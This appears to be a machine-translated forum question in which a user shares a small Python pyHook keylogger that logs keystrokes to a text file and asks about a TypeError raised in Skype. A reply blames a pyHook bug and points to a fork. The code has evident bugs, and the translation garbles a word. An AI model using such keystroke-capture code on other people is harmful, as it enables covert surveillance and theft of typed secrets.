这是我的源代码:
import pythoncom, pyHook, sys
def OnKeyboardEvent(event):
if event.Ascii==5:
sys.exit
elif event.Ascii !=0 or 8:
f = open('output.txt', 'r+')
buffer = f.read()
f.close()
f = open ('output.txt', 'w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs = ('n')
buffer +=(keylogs)
f.write(buffer)
f.close()
# return True to pass the event to other handlers
return True
# create a hook manager
hm = pyHook.HookManager()
# watch for all mouse events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
每当我运行skype并键入一些内容时,我都会在cmd中收到这个错误。
TypeError:KeyboardSwitch()缺少8个必需的位置参数:"msg"、"vk_code"、"scan_code"、"ascii"、"flags"、"time"、"hwnd"one_answers"win_name"
我认为这与skype的窗口名称中有一个非ascii字符有关,但我该如何解决这个问题?
这实际上是由pyhook中的一个错误引起的。如果你感兴趣,这个答案可以很好地描述它。我不想按照建议重新编译pyHook,所以我选择使用这个fork